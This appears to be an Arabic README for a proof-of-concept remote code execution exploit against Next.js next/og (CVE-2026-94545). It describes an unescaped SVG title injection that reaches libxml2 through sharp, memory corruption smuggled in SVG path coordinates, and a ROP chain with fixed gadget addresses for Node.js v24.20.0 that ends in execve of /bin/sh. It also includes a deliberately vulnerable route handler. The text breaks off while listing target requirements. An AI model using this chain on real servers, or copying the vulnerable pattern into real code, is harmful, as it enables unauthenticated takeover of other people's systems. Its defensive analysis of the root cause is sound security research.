
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-94545: تستغل إدخال SVG غير المُهرَّب في Next.js next/og لتحفيز تلف libxml2 وسلسلة ROP لتنفيذ تعليمات برمجية عن بُعد دون مصادقة.
next/og الخاص بـ Next.jsلأغراض البحث الأمني فقط، وفي بيئات الثغرات المصرّح بها.
| العنصر | القيمة |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| المنبع | Satori GHSA-wx4j-mvgx-mqwp |
| السبب الجذري | CWE-116 (ترميز أو تهريب المخرجات بشكل غير صحيح) → إفساد ذاكرة محلل XML الأصلي → تنفيذ تعليمات برمجية عن بُعد |
| المتأثر | Next.js 16.2.0 – 16.3.5 (بيئة تشغيل Node مع تثبيت sharp)؛ Satori المضمّن ≥ 0.0.27 و < 0.33.5 |
| المُصلَح | Next.js 16.3.6 / Satori 0.33.5 |
| التأثير | تنفيذ أوامر عشوائية في عملية خدمة Next.js دون مصادقة |
| الحزمة المُختبَرة | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6، librsvg 2.62.91، libxml2 2.15.3) + Node.js v24.20.0 الثنائي الرسمي x64 (غير PIE) |
مع بيئة تشغيل Edge (export const runtime = 'edge') أو عند عدم تثبيت sharp، يمر العرض عبر صندوق رمل resvg-wasm، لذا لا تصل هذه الثغرة إلى سلسلة التحليل الأصلية وبالتالي لا تتحول إلى تنفيذ تعليمات برمجية عن بُعد.
يُدمَج إدخال المستخدم في SVG كنص عادي، ثم يُحشى هذا الـ SVG بالكامل داخل رابط data: ويُسلَّم إلى محلل XML مكتوب بلغة C لجولة ثانية من التحليل. لا يُجرى بينهما سوى ترميز URL؛ أما تهريب XML فلا يُنفَّذ أبدًا.
النمط النموذجي: يضع POST /api/og جسم الطلب بالكامل، أو يضع GET /api/og?value= معامل الاستعلام، مباشرةً داخل <title> الخاص بـ SVG في ImageResponse، دون تصفية أو تهريب.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
يستقبل ImageResponse شجرة عناصر JSX ويُعيد ملف PNG. أي مسار يكتب بيانات الطلب داخل عُقد SVG الفرعية أو خصائصها أو أنماطها يُعدّ نقطة تصريف (sink).
next/ogيُمرّر node_modules/next/og.js إلى next/dist/server/og/image-response.js. تُحمّل بيئة تشغيل Node ديناميكيًا next/dist/compiled/@vercel/og/index.node.js (المسار الأصلي)؛ بينما تُحمّل بيئة تشغيل Edge مسار wasm ولا تتأثر بهذه الثغرة.
@vercel/og — يُولّد Satori ملف SVG ثم يمرّره لعملية التحويل إلى صورة نقطيةتسلسل عمل @vercel/og المضمّن في Next.js (تُؤكّد تعليقات الملف المُجمّع أنه يحتوي على [email protected]) هو:
sharp، يُمرَّر ملف SVG إلى المكتبة الأصلية للتحويل إلى صورة نقطية؛ وإلا يُستخدم resvg-wasm كبديل.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
في هذه المرحلة، يكون إدخال المستخدم قد أصبح بالفعل سلسلة SVG ويُمرَّر حرفيًا إلى sharp (مكتبة libvips الأصلية).
بالنسبة إلى <svg> مكتوب صراحةً في JSX، يقوم Satori بتسلسله بالكامل إلى عنوان URL من نوع data:image/svg+xml ثم يضمّنه في المخرجات كعنصر <image>.
vercel/[email protected] src/layout.ts: يستدعي SVGNodeToImage عند الدخول إلى عقدة <svg>.
يحتوي src/handler/preprocess.ts على عيبين رئيسيين:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
& و< و> لا تُكتب على هيئة & / < / >. إن ترميز النسبة المئوية ليس سوى متطلب في صياغة URL؛ فعندما يقوم المحلل اللاحق بتحميل URL من نوع data:، يُستعاد %3C/title%3E إلى </title> حقيقي، وينتقل نص المهاجم من "بيانات" عائداً إلى "بنية المستند".
عندما يكون الإدخال </title><xi:include …/><title>، يتخذ ملف SVG الوسيط الذي يمرره Satori إلى sharp الشكل التالي (مفكوك الترميز للتوضيح):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
تستخدم الحمولة طبقتين من الحقن للتحكم في بنية إدخال libxml2:
</title><xi:include parse="xml" href="data:…"> الخارجي المحلل ينتقل إلى تحميل مستند متداخل يتحكم فيه المهاجم بالكامل.تُدفع الحالة الداخلية لـ libxml2 إلى ما يتجاوز التوقعات، مما يؤدي إلى كتابة خارج الحدود. ويتم تحقيق تأثير الفساد بشكل موثوق عبر تسلسلات إحداثيات SVG <path> المرتبة بعناية (أرقام IEEE-754 المزدوجة التي تحمل كلمات 8 بايت little-endian)، وبذلك يتم اختطاف تدفق التحكم.
execveإن ملف Node.js linux-x64 الثنائي الصادر رسميًا هو ملف تنفيذي غير PIE بقاعدة تحميل ثابتة؛ عناوين PLT / GOT والأدوات ثابتة، لذا لا حاجة إلى تسريب معلومات.
تم بناء هذا PoC مقابل Node.js v24.20.0 الرسمي x64؛ الأدوات كالتالي:
| الرمز | العنوان | الغرض |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (يكتب إلى scratch qword بـ qword) |
EXECVE_PLT | 0x745FA0 | PLT stub الخاص بـ execve |
SCRATCH | 0x6B5F500 | عنوان قابل للكتابة ثابت |
تستخدم سلسلة ROP أولاً pop rax / stosq لكتابة "/bin/sh\0" و"-c\0" وسلسلة الأمر ومصفوفة argv في SCRATCH بـ qword تلو الآخر، ثم تضبط rdi = path وrsi = argv وrdx = envp(0)، وتقفز إلى EXECVE_PLT:
execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)
تُستبدل عملية العرض نفسها بـ execve؛ ينقطع اتصال HTTP ويتوقف الخدمة عن الاستجابة — وهذا مظهر متأصل من مظاهر الاستغلال الناجح لهذه الثغرة. ترث العملية الجديدة بيئة عملية Node ويمكنها تنفيذ أوامر عشوائية.
exploit.py مُنفَّذ باستخدام مكتبة Python 3 القياسية، دون أي تبعيات خارجية. يرمّز الأمر إلى إحداثيات SVG <path>، ثم يجمّع حمولة تُرسَل عبر POST إلى /api/og بواسطة XInclude + كيانات DTD متداخلة.
سلسلة ROP مُعايَرة وفق حزمة Node v24.20.0 / sharp 0.35.4 الموصوفة أعلاه. يجب أن يستوفي الهدف الشروط التالية: